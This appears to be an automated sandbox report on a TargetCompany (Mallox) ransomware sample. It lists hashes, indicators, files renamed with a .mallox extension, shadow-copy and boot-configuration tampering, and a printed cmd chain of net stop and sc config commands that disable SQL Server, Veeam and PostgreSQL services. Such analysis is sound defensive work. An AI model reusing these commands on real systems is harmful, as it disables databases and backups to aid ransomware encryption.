Analysis
-
max time kernel
150s -
max time network
126s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
14-01-2022 06:02
Static task
static1
Behavioral task
behavioral1
Sample
InternalCrossContextDelega.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
InternalCrossContextDelega.exe
Resource
win10-en-20211208
General
-
Target
InternalCrossContextDelega.exe
-
Size
429KB
-
MD5
22367699e131a9d98f842a1003fd193a
-
SHA1
c275084d65f845b4d957c05b874fade071193468
-
SHA256
a7018ff4aaaaebda06615da54ab7d3dcfe06ffda501254eb9654aa27152629bb
-
SHA512
26aedfe2eede18f72425f37d57fde838466345187f1df365528b0798a2f323badfbbb4f3b5571c4ea554cdb757dc0b7b2f7c87f5ae88c6e2cee41eaa92b6e828
Malware Config
Extracted
C:\Users\Admin\RECOVERY INFORMATION.txt
Signatures
-
TargetCompany
Ransomware which encrypts files using a combination of ChaCha20, AES-128, and Curve25519, first seen in June 2021.
-
TargetCompany Payload 6 IoCs
Processes:
resource yara_rule behavioral1/memory/560-64-0x0000000000400000-0x0000000000428000-memory.dmp family_targetcompany behavioral1/memory/560-65-0x0000000000400000-0x0000000000428000-memory.dmp family_targetcompany behavioral1/memory/560-66-0x0000000000400000-0x0000000000428000-memory.dmp family_targetcompany behavioral1/memory/560-70-0x0000000000400000-0x0000000000428000-memory.dmp family_targetcompany behavioral1/memory/560-72-0x000000000040AF56-mapping.dmp family_targetcompany behavioral1/memory/560-91-0x0000000000400000-0x0000000000428000-memory.dmp family_targetcompany -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid Process 2576 bcdedit.exe 2568 bcdedit.exe -
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
InternalCrossContextDelega.exedescription ioc Process File renamed C:\Users\Admin\Pictures\CloseSync.crw => C:\Users\Admin\Pictures\CloseSync.crw.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\WatchSearch.png => C:\Users\Admin\Pictures\WatchSearch.png.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\InitializeMeasure.png => C:\Users\Admin\Pictures\InitializeMeasure.png.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\MergeUninstall.tif => C:\Users\Admin\Pictures\MergeUninstall.tif.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\MeasureMerge.raw => C:\Users\Admin\Pictures\MeasureMerge.raw.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\CloseOut.tif => C:\Users\Admin\Pictures\CloseOut.tif.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\UnblockExport.crw => C:\Users\Admin\Pictures\UnblockExport.crw.mallox InternalCrossContextDelega.exe File renamed C:\Users\Admin\Pictures\EnterReceive.crw => C:\Users\Admin\Pictures\EnterReceive.crw.mallox InternalCrossContextDelega.exe -
Stops running service(s) 3 TTPs
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
InternalCrossContextDelega.exedescription ioc Process File opened (read-only) \??\G: InternalCrossContextDelega.exe File opened (read-only) \??\P: InternalCrossContextDelega.exe File opened (read-only) \??\S: InternalCrossContextDelega.exe File opened (read-only) \??\W: InternalCrossContextDelega.exe File opened (read-only) \??\B: InternalCrossContextDelega.exe File opened (read-only) \??\E: InternalCrossContextDelega.exe File opened (read-only) \??\M: InternalCrossContextDelega.exe File opened (read-only) \??\O: InternalCrossContextDelega.exe File opened (read-only) \??\V: InternalCrossContextDelega.exe File opened (read-only) \??\Y: InternalCrossContextDelega.exe File opened (read-only) \??\A: InternalCrossContextDelega.exe File opened (read-only) \??\L: InternalCrossContextDelega.exe File opened (read-only) \??\N: InternalCrossContextDelega.exe File opened (read-only) \??\Q: InternalCrossContextDelega.exe File opened (read-only) \??\R: InternalCrossContextDelega.exe File opened (read-only) \??\T: InternalCrossContextDelega.exe File opened (read-only) \??\U: InternalCrossContextDelega.exe File opened (read-only) \??\X: InternalCrossContextDelega.exe File opened (read-only) \??\J: InternalCrossContextDelega.exe File opened (read-only) \??\K: InternalCrossContextDelega.exe File opened (read-only) \??\I: InternalCrossContextDelega.exe File opened (read-only) \??\Z: InternalCrossContextDelega.exe File opened (read-only) \??\F: InternalCrossContextDelega.exe File opened (read-only) \??\H: InternalCrossContextDelega.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
InternalCrossContextDelega.exedescription pid Process procid_target PID 1952 set thread context of 560 1952 InternalCrossContextDelega.exe 29 -
Drops file in Program Files directory 64 IoCs
Processes:
InternalCrossContextDelega.exedescription ioc Process File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0293236.WMF InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Lisbon InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\3082\MSO.ACL InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\Blog.dotx InternalCrossContextDelega.exe File created C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Mahe InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0227558.JPG InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.TLB InternalCrossContextDelega.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfr\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\java.security InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bahia InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB02073_.GIF InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Sitka InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PROOF\MSSP7FR.dub InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR51B.GIF InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms5\FormsBrowserUpgrade.html InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pyongyang InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\ZPDIR37F.GIF InternalCrossContextDelega.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\Calendar\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0187859.WMF InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9 InternalCrossContextDelega.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD14981_.GIF InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0341554.JPG InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02054_.WMF InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm InternalCrossContextDelega.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-plaf.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00625_.WMF InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198447.WMF InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SY01253_.WMF InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Jamaica InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification.zh_CN_5.5.0.165303.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\OMSSMS.CFG InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS_K_COL.HXK InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Madeira InternalCrossContextDelega.exe File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\Distinctive.dotx InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpcore_4.2.5.v201311072007.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\.lastModified InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-multiview.xml InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_zh_CN.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.SF InternalCrossContextDelega.exe File created C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\PrivateAssemblies\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File created C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\La_Rioja InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas InternalCrossContextDelega.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\RECOVERY INFORMATION.txt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Assets.accdt InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR24F.GIF InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\OriginLetter.Dotx InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\VDK10.STD InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Abidjan InternalCrossContextDelega.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01298_.GIF InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-util-enumerations.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_zh_CN.jar InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Riga InternalCrossContextDelega.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\EST5EDT InternalCrossContextDelega.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Discovers systems in the same network 1 TTPs 2 IoCs
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid Process 1376 vssadmin.exe -
Kills process with taskkill 64 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid Process 540 taskkill.exe 1660 3012 2476 taskkill.exe 868 taskkill.exe 1928 1564 1652 276 taskkill.exe 1660 taskkill.exe 1748 2128 2460 taskkill.exe 2244 2352 1744 2796 taskkill.exe 2752 taskkill.exe 2784 taskkill.exe 2976 taskkill.exe 968 2008 2128 2432 2936 taskkill.exe 2164 taskkill.exe 2856 taskkill.exe 1912 taskkill.exe 2920 taskkill.exe 2704 taskkill.exe 2324 taskkill.exe 1632 taskkill.exe 2912 taskkill.exe 1784 taskkill.exe 2812 1628 2852 1928 2484 2808 taskkill.exe 2468 taskkill.exe 2932 2936 1984 2208 3020 taskkill.exe 1636 taskkill.exe 1124 2800 2500 1124 taskkill.exe 2132 2432 1504 2388 taskkill.exe 632 taskkill.exe 2940 2972 3052 1452 2460 taskkill.exe 2940 taskkill.exe 1784 2984 -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
InternalCrossContextDelega.exepid Process 560 InternalCrossContextDelega.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
InternalCrossContextDelega.exeInternalCrossContextDelega.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exevssvc.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exedescription pid Process Token: SeDebugPrivilege 1952 InternalCrossContextDelega.exe Token: SeTakeOwnershipPrivilege 560 InternalCrossContextDelega.exe Token: SeDebugPrivilege 560 InternalCrossContextDelega.exe Token: SeDebugPrivilege 1896 taskkill.exe Token: SeDebugPrivilege 2000 taskkill.exe Token: SeDebugPrivilege 668 taskkill.exe Token: SeDebugPrivilege 1540 taskkill.exe Token: SeDebugPrivilege 2428 taskkill.exe Token: SeDebugPrivilege 2764 taskkill.exe Token: SeDebugPrivilege 2796 taskkill.exe Token: SeDebugPrivilege 2788 taskkill.exe Token: SeDebugPrivilege 2804 taskkill.exe Token: SeBackupPrivilege 2444 vssvc.exe Token: SeRestorePrivilege 2444 vssvc.exe Token: SeAuditPrivilege 2444 vssvc.exe Token: SeDebugPrivilege 2284 taskkill.exe Token: SeDebugPrivilege 2928 taskkill.exe Token: SeDebugPrivilege 2924 taskkill.exe Token: SeDebugPrivilege 2888 taskkill.exe Token: SeDebugPrivilege 2980 taskkill.exe Token: SeDebugPrivilege 3008 taskkill.exe Token: SeDebugPrivilege 3020 taskkill.exe Token: SeDebugPrivilege 2984 taskkill.exe Token: SeDebugPrivilege 3000 taskkill.exe Token: SeDebugPrivilege 3048 taskkill.exe Token: SeDebugPrivilege 2016 taskkill.exe Token: SeDebugPrivilege 2868 taskkill.exe Token: SeDebugPrivilege 2900 taskkill.exe Token: SeDebugPrivilege 2516 taskkill.exe Token: SeDebugPrivilege 2968 taskkill.exe Token: SeDebugPrivilege 2284 taskkill.exe Token: SeDebugPrivilege 2352 taskkill.exe Token: SeDebugPrivilege 2580 taskkill.exe Token: SeDebugPrivilege 1244 taskkill.exe Token: SeDebugPrivilege 2664 taskkill.exe Token: SeDebugPrivilege 3016 taskkill.exe Token: SeDebugPrivilege 2808 taskkill.exe Token: SeDebugPrivilege 2816 taskkill.exe Token: SeDebugPrivilege 2148 taskkill.exe Token: SeDebugPrivilege 2388 taskkill.exe Token: SeDebugPrivilege 2304 taskkill.exe Token: SeDebugPrivilege 2784 taskkill.exe Token: SeDebugPrivilege 2812 taskkill.exe Token: SeDebugPrivilege 1012 taskkill.exe Token: SeDebugPrivilege 2936 taskkill.exe Token: SeDebugPrivilege 2476 taskkill.exe Token: SeDebugPrivilege 2352 taskkill.exe Token: SeDebugPrivilege 2128 taskkill.exe Token: SeDebugPrivilege 1636 taskkill.exe Token: SeDebugPrivilege 2468 taskkill.exe Token: SeDebugPrivilege 2984 taskkill.exe Token: SeDebugPrivilege 2248 taskkill.exe Token: SeDebugPrivilege 2016 taskkill.exe Token: SeDebugPrivilege 2856 taskkill.exe Token: SeDebugPrivilege 796 taskkill.exe Token: SeDebugPrivilege 2120 taskkill.exe Token: SeDebugPrivilege 2720 taskkill.exe Token: SeDebugPrivilege 2436 taskkill.exe Token: SeDebugPrivilege 2272 taskkill.exe Token: SeDebugPrivilege 2164 taskkill.exe Token: SeDebugPrivilege 2132 taskkill.exe Token: SeDebugPrivilege 2980 taskkill.exe Token: SeDebugPrivilege 1152 taskkill.exe Token: SeDebugPrivilege 2220 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
InternalCrossContextDelega.execmd.execmd.execmd.execmd.execmd.exedescription pid Process procid_target PID 1952 wrote to memory of 1032 1952 InternalCrossContextDelega.exe 28 PID 1952 wrote to memory of 1032 1952 InternalCrossContextDelega.exe 28 PID 1952 wrote to memory of 1032 1952 InternalCrossContextDelega.exe 28 PID 1952 wrote to memory of 1032 1952 InternalCrossContextDelega.exe 28 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1032 wrote to memory of 1124 1032 cmd.exe 30 PID 1032 wrote to memory of 1124 1032 cmd.exe 30 PID 1032 wrote to memory of 1124 1032 cmd.exe 30 PID 1032 wrote to memory of 1124 1032 cmd.exe 30 PID 1032 wrote to memory of 632 1032 cmd.exe 34 PID 1032 wrote to memory of 632 1032 cmd.exe 34 PID 1032 wrote to memory of 632 1032 cmd.exe 34 PID 1032 wrote to memory of 632 1032 cmd.exe 34 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1952 wrote to memory of 560 1952 InternalCrossContextDelega.exe 29 PID 1032 wrote to memory of 2032 1032 cmd.exe 31 PID 1032 wrote to memory of 2032 1032 cmd.exe 31 PID 1032 wrote to memory of 2032 1032 cmd.exe 31 PID 1032 wrote to memory of 2032 1032 cmd.exe 31 PID 1032 wrote to memory of 1212 1032 cmd.exe 35 PID 1032 wrote to memory of 1212 1032 cmd.exe 35 PID 1032 wrote to memory of 1212 1032 cmd.exe 35 PID 1032 wrote to memory of 1212 1032 cmd.exe 35 PID 1032 wrote to memory of 1748 1032 cmd.exe 39 PID 1032 wrote to memory of 1748 1032 cmd.exe 39 PID 1032 wrote to memory of 1748 1032 cmd.exe 39 PID 1032 wrote to memory of 1748 1032 cmd.exe 39 PID 1032 wrote to memory of 1920 1032 cmd.exe 37 PID 1032 wrote to memory of 1920 1032 cmd.exe 37 PID 1032 wrote to memory of 1920 1032 cmd.exe 37 PID 1032 wrote to memory of 1920 1032 cmd.exe 37 PID 632 wrote to memory of 1108 632 cmd.exe 40 PID 632 wrote to memory of 1108 632 cmd.exe 40 PID 632 wrote to memory of 1108 632 cmd.exe 40 PID 632 wrote to memory of 1108 632 cmd.exe 40 PID 1032 wrote to memory of 876 1032 cmd.exe 43 PID 1032 wrote to memory of 876 1032 cmd.exe 43 PID 1032 wrote to memory of 876 1032 cmd.exe 43 PID 1032 wrote to memory of 876 1032 cmd.exe 43 PID 2032 wrote to memory of 1540 2032 cmd.exe 42 PID 2032 wrote to memory of 1540 2032 cmd.exe 42 PID 2032 wrote to memory of 1540 2032 cmd.exe 42 PID 2032 wrote to memory of 1540 2032 cmd.exe 42 PID 1124 wrote to memory of 1836 1124 cmd.exe 41 PID 1124 wrote to memory of 1836 1124 cmd.exe 41 PID 1124 wrote to memory of 1836 1124 cmd.exe 41 PID 1124 wrote to memory of 1836 1124 cmd.exe 41 PID 632 wrote to memory of 1740 632 cmd.exe 53 PID 632 wrote to memory of 1740 632 cmd.exe 53 PID 632 wrote to memory of 1740 632 cmd.exe 53 PID 632 wrote to memory of 1740 632 cmd.exe 53 PID 1032 wrote to memory of 988 1032 cmd.exe 54 PID 1032 wrote to memory of 988 1032 cmd.exe 54 PID 1032 wrote to memory of 988 1032 cmd.exe 54 PID 1032 wrote to memory of 988 1032 cmd.exe 54 PID 1212 wrote to memory of 2016 1212 cmd.exe 51
Processes
-
C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"C:\Users\Admin\AppData\Local\Temp\InternalCrossContextDelega.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\F.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\SysWOW64\cmd.execmd /c "color b & a & net stop "SQLSERVERAGENT" & net stop "SQLBrowser" & net stop "SQLTELEMETRY" & net stop "MsDtsServer130" & net stop "SSISTELEMETRY130" & net stop "SQLWrite" & net stop "MSSQL$VEEAMSQL2012" & net stop "SQLAgent$VEEAMSQL2012" & net stop "MSSQL" & net stop "SQLAgent" & net stop "MSSQLServerADHelper100" & net stop "MSSQLServerOLAPService" & net stop "MsDtsServer100" & net stop "ReportServer" & net stop "SQLTELEMETRY$HL" & net stop "TMBMServer" & net stop "MSSQL$PROGID" & net stop "MSSQL$WOLTERSKLUWER" & net stop "SQLAgent$PROGID" & net stop "SQLAgent$WOLTERSKLUWER" & net stop "MSSQLFDLauncher$OPTIMA" & net stop "MSSQL$OPTIMA" & net stop "SQLAgent$OPTIMA" & net stop "ReportServer$OPTIMA" & net stop "msftesql$SQLEXPRESS" & net stop "postgresql-x64-9.4" & sc config "MSSQLFDLauncher" start= disabled & sc config "SQLSERVERAGENT" start= disabled & sc config "SQLBrowser" start= disabled & sc config "SQLTELEMETRY" start= disabled & sc config "MsDtsServer130" start= disabled & sc config "SSISTELEMETRY130" start= disabled & sc config "MSSQL$WOLTERSKLUWER" start= disabled & sc config "SQLAgent$PROGID" start= disabled "3⤵
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\SysWOW64\net.exenet stop "SQLSERVERAGENT"4⤵PID:1836
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSERVERAGENT"5⤵PID:916
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLBrowser"4⤵PID:1840
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBrowser"5⤵PID:1736
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY"4⤵PID:2140
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY"5⤵PID:2276
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer130"4⤵PID:2828
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLWrite"4⤵PID:2472
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLWrite"5⤵PID:2828
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SSISTELEMETRY130"4⤵PID:2992
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2012"4⤵PID:2432
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012"5⤵PID:2272
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2012"4⤵PID:2876
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL"4⤵PID:2964
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL"5⤵PID:2788
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent"4⤵PID:2752
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent"5⤵PID:2992
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerADHelper100"4⤵PID:2964
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper100"5⤵PID:2920
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerOLAPService"4⤵PID:2072
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerOLAPService"5⤵PID:2160
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer100"4⤵PID:2876
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer100"5⤵PID:2844
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer"4⤵PID:1928
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer"5⤵PID:2140
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY$HL"4⤵PID:1968
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY$HL"5⤵PID:2804
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TMBMServer"4⤵PID:2792
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TMBMServer"5⤵PID:1152
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PROGID"4⤵PID:2804
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROGID"5⤵PID:2568
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$WOLTERSKLUWER"4⤵PID:428
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$WOLTERSKLUWER"5⤵PID:2968
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PROGID"4⤵PID:2136
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROGID"5⤵PID:2956
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$WOLTERSKLUWER"4⤵PID:2784
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$WOLTERSKLUWER"5⤵PID:668
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$OPTIMA"4⤵PID:2000
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$OPTIMA"5⤵PID:2316
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$OPTIMA"4⤵PID:2324
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$OPTIMA"5⤵PID:1824
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$OPTIMA"4⤵PID:2248
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$OPTIMA"5⤵PID:2764
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$OPTIMA"4⤵PID:2432
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$OPTIMA"5⤵PID:1912
-
-
-
C:\Windows\SysWOW64\net.exenet stop "msftesql$SQLEXPRESS"4⤵PID:540
-
